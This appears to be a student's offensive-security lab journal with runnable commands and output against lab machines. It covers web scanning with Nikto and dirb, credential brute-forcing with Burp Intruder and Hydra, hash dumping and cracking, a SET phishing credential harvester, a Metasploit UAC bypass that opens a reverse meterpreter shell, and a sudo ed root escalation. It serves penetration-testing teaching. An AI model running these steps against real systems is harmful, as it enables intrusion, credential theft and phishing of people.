msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   CreateSession     true             no        Create a new session for every successful login
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current
                                                database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the lis
                                                t
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current data
                                                base (Accepted: none, user, user&realm)
```

Use info –d command in metasploit for detailed documentation of the ssh vulnerability analysis

Offensive Security Practical No 6

Aim: Web Application Scanning

a. Nikto

Nikto is an Open Source (GPL) web server scanner that performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for serveconfiguration items such as the presence of multiple index files and HTTP server options; it will also attempt to identify installed web servers and software.

Go to terminal window and type *nikto –h <target_ip>* to start the scan and it will give the hidden endpoints

```
┌──(kali㉿kali)-[~]
└─$ nikto -h 192.168.100.8
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.100.8
+ Target Hostname:    192.168.100.8
+ Target Port:        80
+ Start Time:         2025-09-23 15:37:26 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs
/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the
 site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulner
abilities/missing-content-type-header/
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file
names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=469
8ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x
```

```
kali@kali: ~
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-commu
nity/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-1999-0678
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP re
quests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP re
quests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP re
quests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP re
quests that contain specific QUERY strings. See: OSVDB-12184
+ /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to
authorized hosts.
+ /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode:
 92462, size: 40540, mtime: Tue Dec  9 12:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-20
03-1418
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to auth
orized hosts.
+ /test/: Directory indexing found.
```

```
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system
information. See: CWE-552
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsrea
dme/
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limite
d to authorized hosts.
+ /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authori
zed hosts. See: https://typo3.org/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8910 requests: 0 error(s) and 27 item(s) reported on remote host
+ End Time:           2025-09-23 15:38:12 (GMT-4) (46 seconds)
---------------------------------------------------------------------------
```

b. Dirb

dirb is a command-line *web content scanner* (directory bruteforcer) that looks for hidden files and directories on web servers by making HTTP requests for paths from a wordlist. It's commonly used in web-app recon and security testing to discover admin panels, backup files, forgotten pages, and other resources that aren't linked from the site but are accessible.

```
┌──(kali㉿kali)-[~]
└─$ dirb http://192.168.100.8

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Nov 11 13:19:15 2025
URL_BASE: http://192.168.100.8/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------


GENERATED WORDS: 4612

---- Scanning URL: http://192.168.100.8/ ----

+ http://192.168.100.8/cgi-bin/ (CODE:403|SIZE:294)
==> DIRECTORY: http://192.168.100.8/dav/
+ http://192.168.100.8/index (CODE:200|SIZE:891)
+ http://192.168.100.8/index.php (CODE:200|SIZE:891)
+ http://192.168.100.8/phpinfo (CODE:200|SIZE:48077)
+ http://192.168.100.8/phpinfo.php (CODE:200|SIZE:48089)
==> DIRECTORY: http://192.168.100.8/phpMyAdmin/
+ http://192.168.100.8/server-status (CODE:403|SIZE:299)
==> DIRECTORY: http://192.168.100.8/test/
==> DIRECTORY: http://192.168.100.8/twiki/
```

```
---- Entering directory: http://192.168.100.8/phpMyAdmin/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.100.8/twiki/bin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.100.8/twiki/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.100.8/twiki/pub/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.100.8/phpMyAdmin/setup/frames/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.100.8/phpMyAdmin/setup/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Tue Nov 11 13:20:06 2025
DOWNLOADED: 18448 - FOUND: 42
```

c. Burpsuite

Burp Suite is an integrated web security testing platform that proxies, inspects, and manipulates HTTP/S traffic to find and exploit web application vulnerabilities.It bundles tools like Proxy, Scanner, Intruder, Repeater and Decoder to support manual and automated testing in authorized, controlled environments.

- Start BurtpSuite and navigate to login page and intercept the request

- Now right click the request and click send to Intruder option on list

- Now select the username and password field values and click add$

- Now for payloads will be using cluster-bomb attack and the list for username and password and click start attack

- Now focus on length, sort descending way and we get username as admin and password as password, now try login using this credentials.

d. Sql Injection

SQL injection (SQLi) is a web-application vulnerability where an attacker supplies malicious input that gets interpreted as part of an application's SQL query, allowing the attacker to view, modify, or delete data, or in some cases execute commands on the backend database.

Without SQl Injection

Getting all the users

Getting the passwords of the users

Offensive Security Practical No 7

Aim: Password Cracking Tools / Password Attacks

a. Winrtgen

Winrtgen is a graphical tool used to create rainbow tables, which are precomputed tables used to crack password hashes. It was originally bundled with the Windows-based password recovery tool Cain and Abel

Go to windows machine and start the winrtgen to generate a rainbow table , select the hash MD5 and MAX Length 3 and click OK

Now select the MD5 file and click on start

.rt file will be generated, now we will use this file to crack the hash of target machine

Name	Date modified	Type	Size
alglib0.dll	20-07-2009 09:44	Application extens...	55 KB
charset	20-07-2009 09:44	Text Document	1 KB
md5_loweralpha#1-3_0_1000x1000_oxid#...	01-10-2025 20:18	RT File	16 KB
rtgen	20-07-2009 09:44	Application	100 KB
rtsort	20-07-2009 09:44	Application	70 KB
Tables.lst	01-10-2025 20:18	LST File	1 KB
winrtgen	10-07-2008 22:24	Application	259 KB

Now go to Kali and sort the generated .rt file

```
┌──(root💀 kali)-[/usr/share/rainbowcrack]
└─# rtsort /usr/share/rainbowcrack
/usr/share/rainbowcrack/md5_loweralpha#1-5_0_1000×1000_0.rt:
3798388736 bytes memory available
loading data ...
sorting data ...
writing sorted data ...
```

Now generate a MD5 hash to crack using ms5sum and then pass it to **rcrack** tool

```
┌──(kali㉿paradox)-[/usr/share/rainbowcrack]
└─$ echo -n "qwe" | md5sum
76d80224611fc919a5d54f0ff9fba446  -
```

```
disk: finished reading all files
plaintext of 76d80224611fc919a5d54f0ff9fba446 is qwe

statistics
------------------------------------------------------------------------
plaintext found:                            1 of 1
total time:                                 0.10 s
time of chain traverse:                     0.10 s
time of alarm check:                        0.00 s
time of disk read:                          0.00 s
hash & reduce calculation of chain traverse: 499000
hash & reduce calculation of alarm check:    278
number of alarm:                            202
performance of chain traverse:              4.84 million/s
performance of alarm check:                 0.09 million/s

result
------------------------------------------------------------------------
76d80224611fc919a5d54f0ff9fba446  qwe  hex:717765
```

b. PWDump and Ophcrack pwdump7 extracts LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM) database.

Download the pwdump7 exe and execute in windows using command prompt, it will fetch and display the password hashes.

```
"C:\Users\furkan\Downloads\pwdump-master>PwDump7.exe
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es

Administrator:500:NO PASSWORD*********************:31D6CFE0D16AE931B73C59D7E0C089C0:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
benjamin:1001:NO PASSWORD*********************:2D20D252A479F485CDF5E171D93985BF:::
HomeGroupUser$:1002:NO PASSWORD*********************:8B467C393365351EFC095B2D815B2492:::
admin_furka:1003:NO PASSWORD*********************:NO PASSWORD*********************:::

"C:\Users\furkan\Downloads\pwdump-master>
```

ophcrack is a Windows password cracker based on rainbow tables. It comes with a Graphical User Interfaceand runs on multiple platforms

c. Hydra

Hydra (also known as **THC-Hydra**) is a fast, flexible command-line **password cracking/brute- force** tool that attempts to authenticate to network services (SSH, FTP, HTTP forms, RDP, SMB, SMTP, POP3, VNC, etc.) using username/password lists. It's widely used in penetration testing to verify weak or reused credentials — **only** on systems you own or have explicit written permission to test.

```
┌──(kali㉿kali)-[~/Desktop/HackAble_3_CTF]
└─$ hydra -l jubiscleudo -P wordlist.txt ssh://192.168.100.7
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or s
l purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-11 04:05:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
[DATA] max 16 tasks per 1 server, overall 16 tasks, 300 login tries (l:1/p:300), ~19 tries
[DATA] attacking ssh://192.168.100.7:22/
[22][ssh] host: 192.168.100.7   login: jubiscleudo   password: onlymy
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-11 04:06:00
```

d. John The Ripper

John the Ripper (JtR) is a fast, flexible password-cracking tool primarily for offline cracking of password hashes. It supports many hash formats (Unix passwd/shadow, Windows NT/LM, MySQL, MD5, bcrypt, and more — the *Jumbo* build expands format support), and implements multiple cracking modes: dictionary (wordlist) attacks, rule-based mangling, incremental (brute- force), and hybrid attacks.

```
┌──(kali㉿kali)-[~/Desktop/Hacking_Windows_7]
└─$ john benjamin_hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
qwerty           (benjamin)
1g 0:00:00:00 DONE 2/3 (2025-09-29 21:23) 6.250g/s 39993p/s 39993c/s 39993C/s 123456..random
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

e. Hashcat

Hashcat is a high-performance password recovery and cracking tool used for testing the strength of password hashes. It supports CPU and GPU acceleration, allowing it to crack hashes at extremely high speeds using various attack modes (dictionary, brute-force, mask, rule-based, hybrid, etc.).

```
d0763edaa9d9bd2a9516280e9044d885:monkey

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: d0763edaa9d9bd2a9516280e9044d885
Time.Started.....: Tue Nov 11 14:33:08 2025 (0 secs)
Time.Estimated...: Tue Nov 11 14:33:08 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   587.2 kH/s (0.12ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 512/14344385 (0.00%)
Rejected.........: 0/512 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 → letmein
Hardware.Mon.#1..: Util: 17%
```

```
┌──(kali㉿kali)-[~/Desktop]
└─$ hashcat -m 0 MD5_hash.txt /usr/share/wordlists/rockyou.txt --show
d0763edaa9d9bd2a9516280e9044d885:monkey
```

f. Cain and Abel

Open Cain and navigate to cracker and then select MD5 Hashed then click "+" button to add the MD5 hash to crack

Now right click on the hash and select dictionary attack

Select the wordlist and click on start button to start the attack, as it cracks the hash it stops and gives the plain text for it

Offensive Security Practical No 8

Aim: Social Engineering

A&B: Web Attacks using Social-Engineer Toolkit

Social engineering is the act of **manipulating people into revealing confidential information or performing actions** that compromise security. In short: *It's hacking humans instead of computers.*

- Open the root shell in Kali Linux and start the SET

```
[---]         The Social-Engineer Toolkit (SET)          [---]
[---]         Created by: David Kennedy (ReL1K)          [---]
                       Version: 8.0.3
                    Codename: 'Maverick'
[---]         Follow us on Twitter: @TrustedSec          [---]
[---]         Follow me on Twitter: @HackingDave         [---]
[---]        Homepage: https://www.trustedsec.com        [---]
         Welcome to the Social-Engineer Toolkit (SET).
          The one stop shop for all of your SE needs.

   The Social-Engineer Toolkit is a product of TrustedSec.

            Visit: https://www.trustedsec.com

   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!

 Select from the menu:

   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set>
```

- Now enter 1->2->3->2 in the menu provided and enter the target website to clone, the tool will start the server

```
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.0.104]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: http://testphp.vulnweb.com/login.php

[*] Cloning the website: http://testphp.vulnweb.com/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, this captures a
l POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
```

- Now go to http:192.168.100.5 the phishing page will appear now enter the crendentials

- Now come to terminal, the credentials will be displayed

```
The best way to use this attack is if username and password form fields are ava
l POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
192.168.0.104 - - [16/Nov/2025 18:19:47] "GET / HTTP/1.1" 200 -
192.168.0.104 - - [16/Nov/2025 18:19:48] "GET /favicon.ico HTTP/1.1" 404 -
[*] WE GOT A HIT! Printing the output:
POSSIBLE PASSWORD FIELD FOUND: uname=Mr.+Robot
POSSIBLE PASSWORD FIELD FOUND: pass=password
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
```

- SET tool also makes a xml report for the attack, we can also check that for grabbed credentials

```
┌──(root㉿kali)-[/]
└─# cat /root/.set/reports/2025-11-16\ 18:21:06.791250.xml
<?xml version="1.0" encoding='UTF-8'?>
<harvester>
   URL=http://testphp.vulnweb.com/login.php
   <url>      <param>uname=Mr.+Robot</param>
      <param>pass=password</param>
   </url>
</harvester>
```

Offensive Security Practical No 9

Aim: Social Engineering

A&B: Privilege Escalation

a. Windows Privilege Escalation

Start the meterpreter session with windows but we are not logged in as admin

```
meterpreter > getuid
Server username: benjamin-PC\benjamin
meterpreter >
```

So for getting admin privileges, will use UAC Bypass method, for this first background the running session and use UAC Bypass module

```
msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac) >
msf6 exploit(windows/local/bypassuac) > set session 1
session ⇒ 1
msf6 exploit(windows/local/bypassuac) > run

[*] Started reverse TCP handler on 192.168.100.5:4444
[*] UAC is Enabled, checking level ...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing ...
[+] Part of Administrators group! Continuing ...
[*] Uploaded the agent to the filesystem....
```

```
[*] Started reverse TCP handler on 192.168.100.5:4444
[*] UAC is Enabled, checking level ...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing ...
[+] Part of Administrators group! Continuing ...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem ...
[*] Meterpreter stager executable 73802 bytes long being uploaded ..
[*] Sending stage (177734 bytes) to 192.168.100.13
[*] Meterpreter session 2 opened (192.168.100.5:4444 → 192.168.100.13:49189) at
11 23:33:51 -0500

meterpreter >
meterpreter > getuid
Server username: benjamin-PC\benjamin
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
```

Here we got the admin privileges

b. Linux Privilege Escalation

I used the /etc/passwd to get the hashes of the user password and cracked it using the John the Ripper tool

```
┌──(kali㉿kali)-[~/Desktop/Machines_WriteUps/Sunset_1]
└─$ john passwd.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
cheer14          (?)
1g 0:00:09:06 DONE 3/3 (2025-08-26 03:27) 0.001828g/s 590.2p/s 590.2c/s 590.2C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now I will use ssh to connect to target machine

```
┌──(kali㉿kali)-[~/Desktop/Machines_WriteUps/Sunset_1]
└─$ ssh sunset@192.168.100.12
sunset@192.168.100.12's password:
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 26 05:55:09 2025 from 192.168.100.5
sunset@sunset:~$ id
uid=1000(sunset) gid=1000(sunset) groups=1000(sunset),24(cdrom),25(floppy),29(audio),30(dip),44(vi
ev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
sunset@sunset:~$ cd /root
-bash: cd: /root: Permission denied
sunset@sunset:~$
```

But, this user does have permission to access root directory. I used sudo -l command to get the commands that are run as root on behalf of user and got the following

Here I got ed command that a user can execute and I search for it on GTFOBins and got the exploitation steps

```
sunset@sunset:~$ sudo ed
!/bin/sh
# whoami
root
# cd /root
# ls -alh
total 44K
drwx------  5 root root 4.0K Jul 28  2019 .
drwxr-xr-x 18 root root 4.0K Jul 28  2019 ..
-rw-------  1 root root  139 Jul 28  2019 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4.0K Jul 28  2019 .cache
-rw-r--r--  1 root root   33 Jul 28  2019 flag.txt
drwxr-xr-x  2 root root 4.0K Jul 28  2019 ftp
drwxr-xr-x  3 root root 4.0K Jul 28  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Jul 28  2019 .selected_editor
-rwxr-xr-x  1 root root   46 Jul 28  2019 server.sh
# cat flag.txt
25d7ce0ee3cbf71efbac61f85d0c14fe
#
```

Here I got the root shell